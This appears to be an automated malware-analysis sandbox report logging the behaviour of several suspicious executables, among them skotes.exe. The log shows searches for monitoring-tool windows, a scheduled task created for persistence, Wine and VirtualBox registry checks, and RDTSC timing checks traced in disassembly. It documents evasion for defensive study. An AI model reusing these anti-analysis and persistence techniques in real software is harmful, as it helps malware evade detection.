Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Documents\GCBKECAKFB.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Documents\GCBKECAKFB.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Documents\GCBKECAKFB.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Documents\GCBKECAKFB.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Documents\GCBKECAKFB.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1017409001\59bcbe04f3.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1017409001\59bcbe04f3.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1017409001\59bcbe04f3.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1017409001\59bcbe04f3.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1017409001\59bcbe04f3.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\Documents\GCBKECAKFB.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\GCBKECAKFB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\AWrVzd6XpC.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Documents\GCBKECAKFB.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Documents\GCBKECAKFB.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1017409001\59bcbe04f3.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1017409001\59bcbe04f3.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 248443 second address: 247D13 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE8CE57907h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c pushad 0x0000000d push ecx 0x0000000e mov esi, 2BBC7170h 0x00000013 pop eax 0x00000014 mov edi, dword ptr [ebp+122D3BBEh] 0x0000001a popad 0x0000001b push dword ptr [ebp+122D0349h] 0x00000021 cmc 0x00000022 mov dword ptr [ebp+122D2100h], eax 0x00000028 call dword ptr [ebp+122D1A39h] 0x0000002e pushad 0x0000002f mov dword ptr [ebp+122D18A1h], edx 0x00000035 xor eax, eax 0x00000037 jmp 00007FEE8CE578FDh 0x0000003c mov edx, dword ptr [esp+28h] 0x00000040 mov dword ptr [ebp+122D18A1h], edx 0x00000046 mov dword ptr [ebp+122D39C6h], eax 0x0000004c mov dword ptr [ebp+122D18A1h], edi 0x00000052 add dword ptr [ebp+122D18A1h], eax 0x00000058 mov esi, 0000003Ch 0x0000005d mov dword ptr [ebp+122D18A1h], ecx 0x00000063 add esi, dword ptr [esp+24h] 0x00000067 cmc 0x00000068 lodsw 0x0000006a cld 0x0000006b add eax, dword ptr [esp+24h] 0x0000006f jbe 00007FEE8CE578FCh 0x00000075 mov dword ptr [ebp+122D18A1h], ebx 0x0000007b mov dword ptr [ebp+122D18A1h], ecx 0x00000081 mov ebx, dword ptr [esp+24h] 0x00000085 pushad 0x00000086 jmp 00007FEE8CE57909h 0x0000008b mov eax, dword ptr [ebp+122D38B6h] 0x00000091 popad 0x00000092 push eax 0x00000093 pushad 0x00000094 jmp 00007FEE8CE57900h 0x00000099 pushad 0x0000009a push eax 0x0000009b push edx 0x0000009c rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 247D13 second address: 247D19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3AD933 second address: 3AD937 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3AD937 second address: 3AD95E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE8C708CDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FEE8C708CE6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3AD95E second address: 3AD971 instructions: 0x00000000 rdtsc 0x00000002 je 00007FEE8CE578F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3AD971 second address: 3AD975 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3AD975 second address: 3AD97F instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FEE8CE578F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3AD97F second address: 3AD985 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3C0144 second address: 3C0149 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3C0149 second address: 3C014F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3C0328 second address: 3C032E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3C28EB second address: 3C291D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE8C708CE5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FEE8C708CE4h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3C291D second address: 3C292E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE8CE578FDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3C292E second address: 3C2935 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3C2935 second address: 3C2945 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3C2945 second address: 3C2949 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3C2949 second address: 3C2957 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007FEE8CE578F6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3C2957 second address: 247D13 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 jc 00007FEE8C708CE2h 0x0000000f jmp 00007FEE8C708CDCh 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 jmp 00007FEE8C708CE2h 0x0000001d pop eax 0x0000001e or ecx, dword ptr [ebp+122D3986h] 0x00000024 push dword ptr [ebp+122D0349h] 0x0000002a add si, 7DA7h 0x0000002f call dword ptr [ebp+122D1A39h] 0x00000035 pushad 0x00000036 mov dword ptr [ebp+122D18A1h], edx 0x0000003c xor eax, eax 0x0000003e jmp 00007FEE8C708CDDh 0x00000043 mov edx, dword ptr [esp+28h] 0x00000047 mov dword ptr [ebp+122D18A1h], edx 0x0000004d mov dword ptr [ebp+122D39C6h], eax 0x00000053 mov dword ptr [ebp+122D18A1h], edi 0x00000059 add dword ptr [ebp+122D18A1h], eax 0x0000005f mov esi, 0000003Ch 0x00000064 mov dword ptr [ebp+122D18A1h], ecx 0x0000006a add esi, dword ptr [esp+24h] 0x0000006e cmc 0x0000006f lodsw 0x00000071 cld 0x00000072 add eax, dword ptr [esp+24h] 0x00000076 jbe 00007FEE8C708CDCh 0x0000007c mov dword ptr [ebp+122D18A1h], ebx 0x00000082 mov dword ptr [ebp+122D18A1h], ecx 0x00000088 mov ebx, dword ptr [esp+24h] 0x0000008c pushad 0x0000008d jmp 00007FEE8C708CE9h 0x00000092 mov eax, dword ptr [ebp+122D38B6h] 0x00000098 popad 0x00000099 push eax 0x0000009a pushad 0x0000009b jmp 00007FEE8C708CE0h 0x000000a0 pushad 0x000000a1 push eax 0x000000a2 push edx 0x000000a3 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3C2AA1 second address: 3C2AA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3C2AA7 second address: 3C2B33 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FEE8C708CD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007FEE8C708CDDh 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 push edi 0x00000017 push ebx 0x00000018 jno 00007FEE8C708CD6h 0x0000001e pop ebx 0x0000001f pop edi 0x00000020 mov eax, dword ptr [eax] 0x00000022 jbe 00007FEE8C708CE2h 0x00000028 jp 00007FEE8C708CDCh 0x0000002e je 00007FEE8C708CD6h 0x00000034 mov dword ptr [esp+04h], eax 0x00000038 pushad 0x00000039 push esi 0x0000003a pushad 0x0000003b popad 0x0000003c pop esi 0x0000003d jmp 00007FEE8C708CE2h 0x00000042 popad 0x00000043 pop eax 0x00000044 lea ebx, dword ptr [ebp+1244E820h] 0x0000004a push 00000000h 0x0000004c push edx 0x0000004d call 00007FEE8C708CD8h 0x00000052 pop edx 0x00000053 mov dword ptr [esp+04h], edx 0x00000057 add dword ptr [esp+04h], 00000017h 0x0000005f inc edx 0x00000060 push edx 0x00000061 ret 0x00000062 pop edx 0x00000063 ret 0x00000064 add di, DB58h 0x00000069 sub dh, FFFFFFE1h 0x0000006c cmc 0x0000006d push eax 0x0000006e push ebx 0x0000006f pushad 0x00000070 push eax 0x00000071 push edx 0x00000072 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3C2C0D second address: 3C2C12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3C2C12 second address: 3C2C6E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE8C708CDEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 10B65C9Fh 0x00000010 push 00000000h 0x00000012 push eax 0x00000013 call 00007FEE8C708CD8h 0x00000018 pop eax 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d add dword ptr [esp+04h], 00000017h 0x00000025 inc eax 0x00000026 push eax 0x00000027 ret 0x00000028 pop eax 0x00000029 ret 0x0000002a mov dword ptr [ebp+122D2976h], edx 0x00000030 mov dword ptr [ebp+122D30CAh], edx 0x00000036 adc esi, 2B8F0000h 0x0000003c lea ebx, dword ptr [ebp+1244E829h] 0x00000042 mov dword ptr [ebp+122D1999h], edx 0x00000048 xchg eax, ebx 0x00000049 push ecx 0x0000004a push eax 0x0000004b push edx 0x0000004c push edx 0x0000004d pop edx 0x0000004e rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3C2D6B second address: 3C2DBE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE8CE578FEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c js 00007FEE8CE578F6h 0x00000012 jmp 00007FEE8CE578FCh 0x00000017 popad 0x00000018 jmp 00007FEE8CE578FDh 0x0000001d popad 0x0000001e mov eax, dword ptr [esp+04h] 0x00000022 jl 00007FEE8CE5790Fh 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007FEE8CE57901h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3C2DBE second address: 3C2E2F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 push esi 0x00000009 jmp 00007FEE8C708CE3h 0x0000000e pop esi 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 push edi 0x00000014 push esi 0x00000015 je 00007FEE8C708CD6h 0x0000001b pop esi 0x0000001c pop edi 0x0000001d pop eax 0x0000001e sub dword ptr [ebp+122D25FFh], ebx 0x00000024 lea ebx, dword ptr [ebp+1244E834h] 0x0000002a push 00000000h 0x0000002c push eax 0x0000002d call 00007FEE8C708CD8h 0x00000032 pop eax 0x00000033 mov dword ptr [esp+04h], eax 0x00000037 add dword ptr [esp+04h], 00000017h 0x0000003f inc eax 0x00000040 push eax 0x00000041 ret 0x00000042 pop eax 0x00000043 ret 0x00000044 xchg eax, ebx 0x00000045 push eax 0x00000046 push edx 0x00000047 jmp 00007FEE8C708CE7h 0x0000004c rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3E1BC7 second address: 3E1BCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3E23F0 second address: 3E23F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3E23F6 second address: 3E2427 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 pop eax 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b popad 0x0000000c jmp 00007FEE8CE57908h 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 jbe 00007FEE8CE578F6h 0x0000001c push esi 0x0000001d pop esi 0x0000001e rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3E257D second address: 3E2581 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3E2581 second address: 3E25A0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jc 00007FEE8CE578F6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FEE8CE57903h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3E2702 second address: 3E2708 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3E2708 second address: 3E270E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3E29C5 second address: 3E29CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3E33E4 second address: 3E33ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3E33ED second address: 3E33F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3E3557 second address: 3E3579 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007FEE8CE57905h 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3E3579 second address: 3E357D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3E357D second address: 3E3581 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3E3581 second address: 3E3593 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FEE8C708CD6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3E36F4 second address: 3E372F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FEE8CE578FBh 0x00000008 jmp 00007FEE8CE57905h 0x0000000d jng 00007FEE8CE578F6h 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FEE8CE578FDh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3E372F second address: 3E3736 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3E388A second address: 3E38BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE8CE57908h 0x00000007 jng 00007FEE8CE578F6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jng 00007FEE8CE578F8h 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3E38BA second address: 3E38BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
